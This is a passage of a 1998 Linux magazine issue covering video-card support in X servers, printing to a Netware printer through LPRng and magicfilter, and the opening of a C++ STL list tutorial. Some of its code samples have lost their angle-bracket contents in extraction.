526DB: ELSA GLoria L DIAMOND Fire GL 3000 GLINT MX + GLINT Delta + IBM RGB 640: ELSA GLoria XL PERMEDIA + GLINT Delta + IBM RGB 526DB: ELSA GLoria S DIAMOND Fire GL 1000 PERMEDIA-2: ELSA GLoria Synergy ELSA WINNER 2000/Office DIAMOND Fire GL 1000 Pro CREATIVE Blaster Exxtreme LEADTEK WinFast 2300 Basically, most cards with Permedia 2 or Permedia 2v chipset (including AGP versions) should work. After searching the XFree86 sites (www.xfree86.com, Red Hat and S.u.S.E.) I was still unable to find drivers for the following cards: * Creative Labs Graphics Blaster * ATI Xpert 98 * Diamond Fire GL 1000 * Diamond Monster 3D * Diamond Monster II * Hercules Terminator Beast All of the S.u.S.E specific X servers can be found at http://www.suse.de/XSuSE/XSuSE_E.html. Xi Graphics AcceleratedX Unlike the architecture of the XFree86 project, the two commercial server vendors deliver what is essentially a single driver with support for all video cards handled through loadable object modules. The essential difference here is that with the commercial vendors you load their package and then configure based on card configurations without having to worry about which module to load. Its a one-step difference, essentially, since with XFree86 you need to know ahead of time which server to configure. With the commercial vendors there is really just the one server, but you still have to give it much of the same configuration information you have to give XFree86. Unlike XFree86 and MetroLink, Xi Graphics lists the Chip Type used in cards by their technical numbers instead of their names. You can see this if, under Xsetup, you select a Graphics Board and then hit TAB. The small window that opens lists various card information, such as the ATI264GT Chip Type for the ATI All In Wonder card. Although graphics cards vendors don't always list the names of the chipsets (like 3D Rage or Rendition Verite), they are even less likely to list the Chip Type. Fortunately, the set of named boards in Xi Graphics lists is quite large and the need to find a specific chipset may not be quite so important. The following cards, from the list of cards given previously, were found in the Xsetup tool under Graphics Boards for the 4.1.2 server: ATI All in Wonder (3D Rage II) ATI All in Wonder Pro (3D Rage Pro) ATI Xpert@Play PCI and AGP (3D Rage Pro) Diamond Fire GL 1000 (Permedia 2) Diamond Fire GL 1000 Pro (Permedia 2) Elsa GLoria Synergy (Permedia 2) Elsa WINNER 2000 / Office (Permedia 2) Hercules Dynamite 3D/GL (Permedia 2) Hercules Stingray 128 3D LEADTEK WinFast 2300 (Permedia 2) The following cards were not found specifically by name, but they may be supported anyway using a configuration for a similar card. You need to check with Xi Graphics to be certain. Remember: these cards might only have minor differences from similar cards from the same vendor. However, since Xi lists these with Chip Types instead of chipset names, its not obvious that the card might work. * ATI Xpert 98 (ATI Rage Turbo chipset) * Creative Labs Graphics Blaster Extreme, Professional Edition (Permedia 2) * Creative Labs Graphics Blaster Extreme, Value Edition (Permedia 2) * Creative Labs Graphics Blaster (RIVA TNT) * Diamond Monster 3D (Permedia 2) * Diamond Monster II (Voodoo 2) * Diamond Stealth II S220 (Rendition Verite) * Diamond Viper V330 (RIVA 128) * Diamond Viper V330 (RIVA 128) * Diamond Stealth 2000 (S3 ViRGE) * Hercules Thriller 3D (Rendition V2200) * Hercules Terminator 2X/i (Intel I740i) * Hercules Terminator Beast (S3 Savage 3D) * Jaton S3 Video (S3ViRGE/DX) * Matrox Mystique G200 (MGA-G200) * Matrox Millenium G200 (MGA-G200) * STB Velocity 128 (RIVA TNT) * STB Velocity 4400 (RIVA TNT) Additionally, Xi Graphics recently announced support for hardware accelerated OpenGL in a demonstration only version of their "Accelerated-X/OGL Technology Demo". Chips supported include the Number 9 Ticket To Ride IV, 3Dlabs Permedia 2, Intel 740, 3Dlabs GLINT Delta + MX, and SiS 6326. They also specify that Wacom tablets are explicitly supported along with Logitech Magellan (a "spaceball" device). XFree86 does not currently support hardware accelerated OpenGL directly in their X servers. A release date for the official version of Xi Graphics hardware accelerated OpenGL has not been announced at the time of this writing. Accelerated-X runs for $99.95 for US shipments, with upgrade pricing starting at $49.95. Xi Graphics can be found on the net at http://www.xig.com. MetroLink MetroX MetroLink has also announced hardware acceleration for OpenGL with their "Extreme3D" product. This product is expected to ship in December 1998, according to the press release at http://www.metrolink.com/extrem3d.html. However, I was told by Chris Bare at MetroLink that its more likely to be January 1999. The press report states that support will be available for the following chipsets: * E&S REALimage(R) 1000, 2000 (Evans & Sutherland) * GLINT GMX(R) 1000, 2000 (3Dlabs) * Permedia(R) 2, 3 (3Dlabs) Like Xi Graphics, MetroLink has the one server which supports many cards and chipsets through loadable modules. Since this architecture doesn't require I list matching servers to cards, I'll just list the cards and chipsets MetroX reports to support: Card Chipset ATI 3D RAGE ATI 3D RAGE II ATI ALL-IN-WONDER PRO AGP ATI ALL-IN-WONDER PRO PCI ATI Graphics Pro Turbo ATI Graphics Ultra ATI Graphics Xpression ATI Mach32 ATI Mach64 ATI VGA STEREO-F/X ATI Winturbo PCI ATI XPERT@Play ATI XPERT@Play AGP ATI XPERT@Work ATI XPERT@Work AGP Diamond Fire GL 1000Pro Diamond SpeedStar 24X Diamond SpeedStar Pro SE Diamond Stealth 24 Diamond Stealth 32 Diamond Stealth 3D 2000 Diamond Stealth 64 Diamond Stealth 64 DRAM Diamond Stealth 64 DRAM (SDAC) Diamond Stealth 64 Graphics 2000 Series Diamond Stealth 64 Graphics 2200 Diamond Stealth 64 VRAM Diamond Stealth 64 Video 3000 Series Diamond Stealth 64 Video VRAM Diamond Stealth Video (SDAC) Diamond Stealth Video 2000 Series Diamond Viper (110 MHz RAMDAC) Diamond Viper (135 MHz RAMDAC) ELSA GLoria Synergy ELSA Victory 3D ELSA Winner 1000 TRIO/V ELSA Winner 2000 AVI ELSA Winner 2000 PRO/X-2, -4 ELSA Winner 2000 PRO/X-8 Matrox Marvel Matrox Marvel II Matrox Millennium Matrox Millennium II AGP Matrox Millennium II PCI (220 MHz) Matrox Millennium II PCI (250 MHz) Matrox Mystique Matrox Mystique 220 Number Nine GXE64 Number Nine Imagine 128 Number Nine Imagine 128 Series 2 Number Nine Motion 531 Number Nine Motion 771 Number Nine Revolution 3D Number Nine Vision 330 Orchid Kelvin 64 STB NITRO 3D STB/Symmetric GLyder MAX-2 3D RAGE 3D RAGE II 3D RAGE PRO 3D RAGE PRO Mach64 Mach8 Mach64 Mach32 Mach64 ATI 28800 Mach64 3D RAGE PRO 3D RAGE PRO 3D RAGE PRO 3D RAGE PRO PERMEDIA 2 Western Digital 90C31 Cirrus 5430 S3 801 ET4000/W32p S3 ViRGE S3 964, Bt485KPJ135 S3 Trio64 S3 864, S3 SDAC S3 864, S3 SDAC S3 Trio64 S3 968, IBM RGB526CF22 S3 968, TI 3026-175 S3 968, TI 3026-175 S3 868, S3 SDAC S3 868, S3 SDAC P9000 P9000 PERMEDIA 2 S3 ViRGE S3 Trio64V+ S3 968, TI 3026-175 S3 968, TI 3026-220 S3 968, IBM RGB528CF25 ET4000 ET4000 MGA Storm MGA 2164, TI 3026-250 MGA 2164, TI 3026-220 MGA 2164, TI 3026-250 MGA 1064 MGA 1164 S3 864 Imagine 128 Imagine 128 Series 2 S3 868 S3 968 Ticket to Ride S3 Trio64 Cirrus 5434 S3 ViRGE/GX PERMEDIA 2 MetroLink's web site is at http://www.metrolink.com. Platform specific information for Linux can be found at Intel: http://www.metrolink.com/metrox431-intel/cardlist4.3.1.html Alpha: http://www.metrolink.com/metrox431-alpha/cardlist4.3.1.html The MetroLink site currently lists their Metro-X Enhanced Server Set 4.3 for $39 and support it on both Intel/x86 and Alpha based Linux systems. With the price drop to $39, the upgrade pricing policies have been dropped by MetroLink. The future C|Net reported recently that there were some 40 or so computer graphics chip vendors in the 3D market today. This is far more than the industry can sustain and an eventual consolidation is inevitable. Furthermore, all three of the major CPU vendors - Intel, Cyrix and AMD - currently have plans for integrating graphics functions into the CPU itself. The graphics card world is changing fast and its not quite clear what effect this will have on end users. If you work in with computer graphics it will be necessary to keep abreast of upcoming changes. A Final Word, or Words There are a couple of things I didn't cover in this artle: MPEG - I don't know if X servers support hardware decoding of MPEGs, animated files that are highly compressed, yet but I suspect they don't. You can view these animations using software to decode the MPEG. This works, but software decoding will always be slower than hardware decoding. Laptops - Laptop vendors, at least in the recent past, didn't like to give out too much information on their video subsystems because it was one way to maintain a product differentiation with competitors. More support has come recently and you can expect to see better information on which laptops are supported under X Windows in the coming months. For now, check out the following pages: http://www.cs.utexas.edu/users/kharker/linux-laptop/ NeoMagic chipsets are being used in many laptops these days. XFree86 (via either Red Hat and/or S.u.S.E) and Xi Graphics definitely have servers for these chips that are known to work on at least some laptops. MetroLink may as well, but I didn't check on this since I wasn't going to concern myself too deeply with laptop issues. Its hard to keep up with vendor naming schemes and matching them to chipsets. Thats why X server vendors don't do it that often. Its a situation that has developed due to the fact the PC video cards grew up in a world without X Windows, and X servers grew up (originally, quite some time ago) in a world without PCs. Its the nature of the beast, you might say. But things are changing now. With the acceptance of Linux in the corporate world you will begin to see video card vendors show much more interest in the X Windows world. How that will equate to users matching video cards with X servers remains to be seen, but I expect life to get much easier in the next year. Confused? Me too, but its not that hard to digest when you think of it this way: You'll buy a 3D card because thats what on the shelves at retailers and you'll either have or not have support for the actual 3D acceleration. As long as a driver exists for the card you at least be able to run X Windows and nearly all the applications available for it. If you're looking for a cheap card you can still find them on the Net. Take a look at Computers.com under their graphics and sound section and do searches by company name (e.g. "matrox"). You'll find a number of older 2D boards listed with links on where you can buy them. These cards run well under $100, some for as low as $30. Acknowledgements I'd like to thank a number of people for their assistance in putting this article together. Paul Sargent of 3Dlabs was especially helpful, providing definitions and information on what I'm sure to him must be real beginner questions. Jeremy Chatfield provided similar help. Along with these two, I received helpful bits of information from Dirk Hohndel of S.u.S.E, many members of the Boulder Linux Users Group, Federico Mena Quintero and Miles O'Neal. Dirk Hohndel (hohndel@suse.de) asked that I mention the outstanding support given to XFree86 by ELSA. Other companies that have provided support to them include ATI, Number 9, Matrox, and Diamond. Sites for further reading: 3Dfx drivers in RPM format are available at: http://glide.xxedgexx.com/3DfxRPMS.html The 3Dfx howto (http://www.gamers.org/dEngine/xf3D/howto/3Dfx-HOWTO.html) is an excellent document for information about using 3D hardware accelerated boards with Linux. It focuses on 3Dfx boards, but describes some of the hardware related issues that other boards will encounter, such as AGP vs PCI. Definitely a good read for anyone looking to get 3D hardware acceleration working. Xi Graphics: http://www.xig.com MetroLink: http://www.metrolink.com XFree86: http://www.xfree86.org S.u.S.E.: http://www.suse.com Red Hat: http://www.redhat.com Some good sites for hardware specific information (although likely to be somewhat Microsoft oriented): * BluesNews.com * 3dfiles.com * tomshardware.com ______________________________________________________________________ Metro Link and X Input Support As usual, I didn't get around to writing my Muse column till very late in the month last month. Because of this MetroLink didn't get the opportunity to supply information regarding their X Input support before my deadline. My apologies to them. Here is the information they provided, sent by Chris Bare: Sorry I didn't reply sooner, we had a pesky hurricane to deal with and were closed Thursday and Friday. Presently, we do not support any tablets through X Input. Our server supports X Input drivers as loadable modules and we have technical specs available so that third parties can write drivers. At present no one has attempted to port the Wacom tablet driver to our new architecture (BTW, this new loadable design will be donated to Xfree86 for their 4.0 release) Our configuration tool includes a touch screen calibration utility that works in graphics mode. Here's the list of X Input drivers we currently support: * Touchscreens + Carroll SFP1 Touch Screen + Carroll SFP2 Touch Screen + MicroTouch Touch Screen + ELO Graphics 2300 Serial Touch Screen + ELO Graphics 4002 Serial Touch Screen + Lucas/Deeco Serial Touch Screen + 3D input devices o SpaceOrb o Magellan Space Mouse The only thing I know of that can use [3D Input Devices] is GLUT, and even then you have to write (relatively simple) GLUT code to integrate them into glut programs. We also include sample code on our web page that shows how to access them from your own programs. Here's the URL for info on the 3D devices: http://www.metrolink.com/support/3dinput.html indent © 1998 by Michael J. Hammel [INLINE] © 1998 Michael J. Hammel indent Of course, now you're probably asking "What the images look like and what can I do with them?" Lets start by showing what a couple of the images I created using the Gimp and these stock photos look like. The first of these I called Vogue and whipped out in a couple of hours just for this article (intermixed with watching a rerun of The X-Files - I really need to get out more). The second is called Angel and took me a few days to put together. Both images started with stock photos from the Women by Jack Cutler CD in the Sampler Ten Pack. [LINK] [LINK] Vogue Angel Note: click either image to see larger version. [INLINE] [INLINE] Original portrait used for Vogue artwork. Original portrait used in Angel (scaled up from actual thumbnail image) Additionally, Angel includes an image taken from the Dawn & Dusk CD plus a texture from one of the Textures II CD's (although I can't remember which one now). The Women and Dawn & Dusk CDs are both in the Sampler Ten pack. These particular example images aren't really helpful for most Web based applications, but what is important is the quality of the original stock. The original images are of good quality, clear of defects and of reasonable color clarity. If you consider the range of topics covered by the other Super Ten Packs then there is likely to be some set of images which will be useful in any future web artwork you may do. When you consider that stock photographs often run closer to $200-$300 for 100 images on other collections, the Corel Super Ten Packs are a pretty decent bargain and well worth the cost. [INLINE] Thumbnail of sunset image used in Angel. indent © 1998 by Michael J. Hammel "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ How to print to a Printer on a Netware server By Izak Burger _________________________________________________________________ Introduction To understand the circumstances which led to me writing this little article, I have to explain a few things first. I am a student at the university of Stellenbosch in South Africa. We have a lot of Netware Servers on Campus, and most of the printers used by students are connected to one of these servers. A while ago I installed Linux for two friends of mine. They were quite impressed with the performance, and after a while the decision was made to install Linux on two of the other computers too. To make the switch from Windows to Linux as smooth as possible, one of the requirements of the new setup was that the Linux PC's should be able to print to the Netware printer upstairs, without any aditional steps (Saving as text, converting to postscript, and printing with nprint), in other words, point and click the way windows users do it all the time. This article explains how I did it. This article assumes that you'll be using only one printer, that is the Netware printer. Because this procedure includes replacement of the print spooler daemon, I do NOT recommend this procedure for a working installation with one or more printers (unless of course you know what you're doing, but then you won't be reading this now would you? :) ). Also, most of the instructions are rather Redhat specific, if you are using another distribution, ask someone to translate :) _________________________________________________________________ How does it work? A print spooler is a program that accepts print jobs from computers on the network. Usually the print jobs are stored on disk until the printer becomes available again. The print spooler program also places an exclusive lock on the device your printer is connected to, usually /dev/lp1. This prevents other users or programs from printing while the print spooler is busy. The print spooler does however do no formatting of its own. It merely stores what ever you sent it in a disk file, then send it to the printer when it becomes available. To have some kind of intelligent formating, filters are used. A print filter will determine the type of data passing through it, and peform conversions on it. This means that it doesn't matter what you send to the printer, the printer will always get something printable, usually postscript. Filters also makes it possible to do a few nice things. Since a filter is actually nothing more than a small program that reads from stdin and writes to stdout, we can write filter programs that can do almost anything. In this case, I made it send the job to a Netware server. _________________________________________________________________ Requirements You need the latest versions of: * LPRng * Magicfilter * ncpfs (on your redhat cd or some good linux ftp site) Note: The location or version numbers of these software may have changed. _________________________________________________________________ Installation You have to be root to install this. If you havent already done so, recompile your kernel with ipx support, but not full internal net. You may also compile ipx as a module. See the Kernel- HOWTO for more information about this. Install ncpfs with: rpm -i ncpfs-2.0.11-3.i386.rpm (Your version number may differ) You may also need to install ipx-utils. Rpm will notify you if you haven't installed ipx-utils yet. Execute one of the following, depending on your setup. In my case the first line worked perfectly on all of the systems I have installed this on: * ipx_interface add -p eth0 etherii * ipx_configure --auto_interface=on --auto_primary=on You may also want to read the man pages for these commands. Since you want to print to a netware server, I assume you have access to it, and should not have a problem obtaining the correct settings here. You should also put this line in /etc/rc.d/rc.local, so that it gets executed everytime you boot your system. You have to remove the existing lpd before installing LPRng, this is most easily acomplished with: /etc/rc.d/init.d/lpd stop rpm -e printtool rpm -e rhs-printfilters rpm -e lpr Extract the LPRng- and magicfilter tarballs into /usr/local/src (or anywhere else you feel comfortable with), they should untar into their own subdirectories. Now follow the directions given in the README or INSTALL files of both, this usually consists of a ./configure, make, make install. Create the directory /usr/local/printfilters and copy a suitable filter from /usr/local/src/magicfilter-1.2/filters to this directory. You may need to modify this file slightly to make it work propperly. In my case i used the psonly600-filter file: on rh5.1 a2ps was invoked with bad parameters; on rh5.0 a2ps wasn't installed and nowhere to be found on the cdrom, so i had to add this to the file: default pipe mpage -ba4 -o -1 or install nenscript (from redhat cd) and add this line (this is probably the best option): default pipe /usr/bin/nenscript -b -p- Also, change these lines: # postscript 0 %! postscript 0 \004%! postscript to this: # postscript 0 %! cat 0 \004%! cat This is because "postscript" caused an extra clean page to be printed after every print job. I also include this filter. It was orriginally used to print to a HP laserjet 4000. Copy nwprint, filter and .config to /usr/local/printfilters, then edit filter and replace psonly1200-filter with the filter you intend to use. Edit the .config file to contain the information relevant to your setup. Now do: chmod 755 filter nwprint chmod 640 .config chown root.daemon .config Install the lpd startup script in /etc/rc.d/init.d. remember to do a chmod 755 /etc/rc.d/init.d/lpd. Now you have to make symlinks to start lpd in the correct runlevels: cd /etc/rc.d/rc3.d ln -s ../init.d/lpd s90lpd cd /etc/rc.d/rc5.d ln -s ../init.d/lpd s90lpd cd /etc/rc.d/rc6.d ln -s ../init.d/lpd k08lpd cd /etc/rc.d/rc0.d ln -s ../init.d/lpd k08lpd This should have lpd start up in the runlevels mostly used by Redhat users. Now we get to modifying a bunch of files in /etc... Edit /etc/printcap to look like the following: lp:\ :sd=/var/spool/lpd/lp:\ :mx#0:\ :sh:\ :if=/usr/local/printfilters/filter:\ :af=/var/spool/lpd/lp/acct:\ :lp=/dev/null: Edit /etc/lpd.conf and locate the line: # Purpose: lock the IO device # lk@ Uncomment the "lk@". This tells lpd NOT to place an exclusive lock onto the device, so if any other program tries to use /dev/null while we're printing it will not break. Edit /etc/lpd.perms and add these lines: REJECT NOT SERVER REJECT SERVICE=R,P,Q,M,C,S NOT REMOTEUSER=yourusername,another,friend This allows only the users in the comma separated list to print from the local host. I dont know what will happen if two users print at exactly the same time, but for the most part you will only allow yourself to print anyway. Finally execute: checkpc -f /etc/rc.d/init.d/lpd start Everything should work propperly now. You should now clean up /usr/local/src. Keep the tarballs in a safe place, then do this: rm -rf /usr/local/src/magicfilter-1.2 rm -rf /usr/local/src/LPRng-3.5.1 _________________________________________________________________ Why it took me a week to figure this out... I tried to do the same thing with lpd, but for some sinister reason nprint could not access any Netware servers if it was invoked by lpd. If the filter was invoked from the commandline, only then could nprint access the server and print the job. I had a few options: Figure out a way of forcing lpd to allow me access, produce a kind of work arround, or use another spooler. Since lpd already have lots of other problems (Read about it, never seen them in action), I settled for LPRng. At first I tried to make the standard Redhat print filter work with LPRng. This did not work very well, because the standard filter use files in /var/spool/lpd/lp while LPRng is rather fussy about the permisions of files in this directory. Moving the files broke everything, and as it was already 3:00 on a Saturday morning by then, I quickly got magicfilter off sunsite (We have a local mirror :) ), compiled the software and built myself a little filter script. Now all I had to do was introduce some kind of password hiding mechanism so that users of the system cannot see the Netware username and password. I discovered that the filter was executed as the "daemon" user, therefore decided to create a .config file with permisions 640 and ownership root.daemon. This file is simply included into nwprint, but while anyone can read nwprint, no one can read .config ( except root and daemon of course :) ). Well this allowed any user with access to the system to print, usually you would only want yourself to have access to the printer, so after reading through /etc/lpd.perms and part of the documentation, I came up with the two REJECT lines mentioned above. _________________________________________________________________ A few useful tips Or rather, things I discovered while doing this... 1. To test the setup, change the nwprint script to cat all input to a file in /tmp. This is also nice to produce postscript files from applications that do not have the capability to save in postscript: Just uncomment the "cat > /tmp/printout.ps" line in the nwprint script. Of course you'll have to comment the nprint line out :) You can even have this installed as a second "Printer", together with your existing printer. 2. To print from pine, you have to setup lpr as default printing command rather than the other default thingy it uses. 3. Use the Generic postscript option in StarOffice. Even if you don't have a postscript printer, you should be able to use it as long as ghostscript has a driver for your printer. 4. Look in /pub/Linux/system/printing on sunsite.unc.edu for other print filters. There's plenty of existing solutions for most of the Canon bubble jet printers, as well as HP deskjets and some of the Epson printers. Also read the Printing-HOWTO, it should be installed in /usr/doc/HOWTO but if it is not there, locate the RPM on your Redhat 5.0/5.1 CD and install it, having the howto's arround is always nice, and is in my oppinion a MUST. _________________________________________________________________ DISCLAIMER _________________________________________________________________ This is the place where I tell you that I am not responsible for any harm that may come to you or your computer as a result of following the steps in this article. Blah Blah... If I did anything stupid or there are better ways to do this please let me know at the e-mail address below, this address should be valid at least until somewhere late in 1999 :) Izak Burger gpf@pikkedil.energie.sun.ac.za _________________________________________________________________ Copyright © 1998, Izak Burger Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Introduction to STL, Standard Template Library By Scott Field _________________________________________________________________ This article is about a new extension to the C++ language, the Standard Template Library, otherwise known as STL. When I first proposed the idea of an article on STL, I must say I somewhat underestimated the depth and breadth of the topic. There is a lot of ground to cover and there are a number of books describing STL in detail. So I looked at my original idea and refocussed. Why was I writing an article and what could I contribute? What would be useful? Was there a need for another STL article. As I turned the pages of Musser and Saini I could see programming time dissolving in front of me. I could see late nights disappearing, and on target software projects reappearing. I could see maintainable code. A year has passed since then and the software I have written using STL has been remarkably easy to maintain. And shock horror, other people can maintain it as well, without me! However, I also remembered that at the beginning it was difficult wading through the technical jargon. Once I bought Musser & Saini everything fell into place but before that it was a real struggle and the main thing I yearned for was some good examples. Also the third edition of Stroustrup which covers STL as part of C++ was not out when I started. So I thought it might be useful to write an article about real life use of STL for new STL programmers. I always learn faster if I can get my hands on some good examples, particularly on new subjects like this. The other thing is, STL is supposed to be easy to use. So theoretically we should be able to start using STL straight away. What is STL? STL stands for the Standard Template Library. Possibly one of the most boring terms in history, for one of the most exciting tools in history. STL basically consists of a bunch of containers - lists, vectors, sets, maps and more, and a bunch of algorithms and other components. This "bunch of containers and algorithms" took some of the brightest people in the world many years to create. The purpose of STL is to standardise commonly used components so you don't have to keep reinventing them. You can just use the standard STL components off the shelf. STL is also part of C++ now, so there will be no more extra bits and pieces to collect and install. It will be built into your compiler. Because the STL list is one of the simpler containers, I thought that it might be a good place to start in demonstrating the practical use of STL. If you understand the concepts behind this one, you'll have no trouble with the rest. Besides, there is an awful lot to a simple list container, as we'll see. In this article we will see how to define and initialise a list, count elements, find elements in a list, remove elements, and other very useful operations. In doing so we will cover two different kinds of algorithms, STL generic algorithms which work with more than one container, and list member functions which work exclusively with the list container. Just in case anyone's wondering, here is a brief rundown on the three main kinds of STL components. The STL containers hold objects, built in objects and class objects. They keep the objects secure and define a standard interface through which we can manipulate the objects. Eggs in an egg container won't roll off the kitchen bench. They are safe. So it is with objects in STL containers. They are safe. I know that sounds corny but it's true. STL algorithms are standard algorithms we can apply to the objects while they are in the container. The algorithms have well known execution characteristics. They can sort the objects, remove them, count them, compare them, find a particular one, merge objects into another container, and carry out many other useful operations. STL iterators are like pointers to the objects in the containers. STL algorithms use iterators to operate on containers. Iterators set bounds for algorithms, regarding the extent of the container, and in other ways. For example some iterators only let the algorithms read elements, some allow them to write elements, some both. Iterators also determine the direction of processing in a container. You can obtain iterators to the first position in a container by calling the container member function begin(). You can call the container end() function to get the past the end value (where to stop processing). This is what STL is all about, containers, algorithms, and iterators to allow the algorithms to work on the elements in the containers. The algorithms manipulate the objects in a measurable, standard way, and are made aware of the precise extent of the container via iterators. Once this is done they won't ever "run off the edge". There are other components which enhance the functionality of these core component types, such as function objects. We will also look at some examples of these. For now, lets take a look at the STL list. _________________________________________________________________ Defining a List We can define an STL list like this. #include #include int main (void) { list Milkshakes; } Thats to Linux Journal, it. You've defined a list. Could it have been any easier? By saying list Milkshakes you've instantiated a template class list, and then instantiated an object of that type. But lets not fuss with that. At this stage you really only need to know that you have defined a list of strings. You need the header file list to provide the STL list class. I compiled these test programs using GCC 2.7.2 on my Linux box. For example: g++ test1.cpp -otest1 Note that the include file iostream.h is buried in one of the STL header files. Thats why it is missing in some of the examples. Now that we have a list, we can start using it to hold things. We'll add some strings to the list. There is an important thing called the value type of the list. The value type is the type of the object the list holds. In this case the value type of the list is string, as the list holds strings. _________________________________________________________________ Inserting elements into a list with the list member functions push_back and push_front #include #include # int main (void) { list Milkshakes; Milkshakes.push_back("Chocolate"); Milkshakes.push_back("Strawberry"); Milkshakes.push_front("Lime"); Milkshakes.push_front("Vanilla"); } We now have a list with four strings in it. The list member function push_back() places an object onto the back of the list. The list member function push_front() puts one on the front. I often push_back() some error messages onto a list, and then push_front() a title on the list so it prints before the error messages. _________________________________________________________________ The list member function empty() It is important to know if a list is empty. The empty() list member function returns true if the list is empty. Empty is a deceptively simple concept. I often use it in the following way. Throughout a program I use push_back() to put error messages onto a list. Then by calling empty() I can tell if the program has reported any errors. If I define one list for informational messages, one for warnings, and one for serious errors, I can easily tell what types of errors have occurred just by using empty(). I can populate these lists throughout the program, then smarten them up with a title, or maybe sort them into categories, before printing them out. Here's what I mean. /* || Using a list to track and report program messages and status */ #include #include #include # int main (void) { #define OK 0 #define INFO 1 #define WARNING 2 # int return_code; # list InfoMessages; list<:string> WarningMessages; # // during a program these messages are loaded at various points InfoMessages.push_back("Info: Program started"); // do work... WarningMessages.push_back("Warning: No Customer records have been found"); // do work... # return_code = OK; # if (!InfoMessages.empty()) { // there were info messages InfoMessages.push_front("Informational Messages:"); // ... print the info messages list, we'll see how later return_code = INFO; } # if (!WarningMessages.empty()) { // there were warning messages WarningMessages.push_front("Warning Messages:"); // ... print the warning messages list, we'll see how later return_code = WARNING; } # // If there were no messages say so. if (InfoMessages.empty() && WarningMessages.empty()) { cout << "There were no messages " << endl; } # return return_code; } _________________________________________________________________ Processing elements in a list with a for loop We will want to be able to iterate through any list, to, for example, print all the objects in the list to see the effect of various operations on a list. To iterate through a list, element by element we can proceed as follows /* || How to print the contents of a simple STL list. Whew! */ #include #include #include # int main (void) { list Milkshakes; list::iterator MilkshakeIterator; # Milkshakes.push_back("Chocolate"); Milkshakes.push_back("Strawberry"); Milkshakes.push_front("Lime"); Milkshakes.push_front("Vanilla"); # // print the milkshakes Milkshakes.push_front("The Milkshake Menu"); Milkshakes.push_back("*** Thats the end ***"); for (MilkshakeIterator=Milkshakes.begin(); MilkshakeIterator!=Milkshakes.end(); ++MilkshakeIterator) { // dereference the iterator to get the element cout << *MilkshakeIterator << endl; } } In this program we define an iterator, MilkshakeIterator. We set MilkshakeIterator to the first element of the list. To do this we call Milkshakes.begin() which returns an iterator to the beginning of the list. We then compare MilkshakeIterator to the end of list value Milkshakes.end(), and stop when we get there. The end() function of a container returns an iterator to the position one past the end of the container. When we get there, we stop processing. We cannot dereference the iterator returned by a container's end() function. We just know it means we have passed the end of the container and should stop processing elements. This holds for all STL containers. In the above example at each pass through the for loop we dereference the iterator to obtain the string, which we print. In STL programming we use one or more iterators in every algorithm. We use them to access objects in a container. To access a given object we point the iterator at the required object, then we dereference the iterator. The list container, in case you're wondering, does not support adding a number to a list iterator to jump to another object in the container. That is, we cannot say Milkshakes.begin()+2 to point to the third object in the list, because the STL list is implemented as a double linked list, which does not support random access. The vector and deque containers, other STL containers, do provide random access. The above program printed the contents of the list. Anyone reading it can immediately see how it works. It uses standard iterators and a standard list container. There is not much programmer dependent stuff in it, or a home grown list implementation. Just standard C++. That's an important step forward. Even this simple use of STL makes our software more standard. _________________________________________________________________ Processing elements in a list with the STL generic algorithm for_each Even with an STL list and iterator we are still initialising, testing, and incrementing the iterator to iterate through a container. The STL generic for_each algorithm can relieve us of that work. /* || How to print a simple STL list MkII */ #include #include #include #include # PrintIt (string& StringToPrint) { cout << StringToPrint << endl; } # int main (void) { list FruitAndVegetables; FruitAndVegetables.push_back("carrot"); FruitAndVegetables.push_back("pumpkin"); FruitAndVegetables.push_back("potato"); FruitAndVegetables.push_front("apple"); FruitAndVegetables.push_front("pineapple"); # for_each (FruitAndVegetables.begin(), FruitAndVegetables.end(), PrintIt); } In this program we use the STL generic algorithm for_each() to iterate though an iterator range and invoke the function PrintIt() on each object. We don't need to initialise, test or increment any iterators. for_each() nicely modularises our code. The operation we are performing on the object is nicely packaged away in a function, we have gotten rid of the loop, and our code is clearer. The for_each algorithm introduces the concept of an iterator range, specified by a start iterator and an end iterator. The start iterator specifies where to start processing and the end iterator signifies where to stop processing, but is not included in the range. _________________________________________________________________ Counting elements in a list with the STL generic algorithm count() The STL generic algorithms count() and count_if() count occurrences of objects in a container. Like for_each(), the count() and count_if() algorithms take an iterator range. Lets count the number of best possible scores in a list of student's exam scores, a list of ints. /* || How to count objects in an STL list */ #include #include # int main (void) { list Scores; # Scores.push_back(100); Scores.push_back(80); Scores.push_back(45); Scores.push_back(75); Scores.push_back(99); Scores.push_back(100); # int NumberOf100Scores(0); count (Scores.begin(), Scores.end(), 100, NumberOf100Scores); # cout << "There were " << NumberOf100Scores << " scores of 100" << endl; } The count() algorithm counts the number of objects equal to a certain value. In the above example it checks each integer object in a list against 100. It increments the variable NumberOf100Scores each time a container object equals 100. The output of the program is There were 2 scores of 100 _________________________________________________________________ Counting elements in a list with the STL generic algorithm count_if() count_if() is a much more interesting version of count(). It introduces a new STL component, the function object. count_if() takes a function object as a parameter. A function object is a class with at least operator () defined. Some STL algorithms accept function objects as parameters and invoke operator () of the function object for each container object being processed. Function objects intended for use with STL algorithms have their function call operator returning true or false. They are called predicate function objects for this reason. An example will make this clear. count_if() uses the passed in function object to make a more complex assessment than count() of whether an object should be counted. In this example we will count toothbrushes sold. We will refer to sales records containing a four character product code and a description of the product. /* || Using a function object to help count things */ #include #include #include # const string ToothbrushCode("0003"); # class IsAToothbrush { public: bool operator() ( string& SalesRecord ) { return SalesRecord.substr(0,4)==ToothbrushCode; } }; # int main (void) { list SalesRecords; # SalesRecords.push_back("0001 Soap"); SalesRecords.push_back("0002 Shampoo"); SalesRecords.push_back("0003 Toothbrush"); SalesRecords.push_back("0004 Toothpaste"); SalesRecords.push_back("0003 Toothbrush"); # int NumberOfToothbrushes(0); count_if (SalesRecords.begin(), SalesRecords.end(), IsAToothbrush(), NumberOfToothbrushes); # cout << "There were " << NumberOfToothbrushes << " toothbrushes sold" << endl; } The output of the program is There were 2 toothbrushes sold The program works as follows: A function object class is defined, IsAToothbrush. Objects of this class can determine whether a sales record is a toothbrush sales record or not. Their function call operator () will return true if a record is a toothbrush sales record and false otherwise. The count_if() algorithm will process container objects in the range specified by the first and second iterator parameters. It will increment NumberOfToothbrushes for each object in the container for which IsAToothbrush()() returns true. The net result is that NumberOfToothbrushes will contain the number of sales records where the product code was "0003", that is, where the product was a toothbrush. Note that the third parameter to 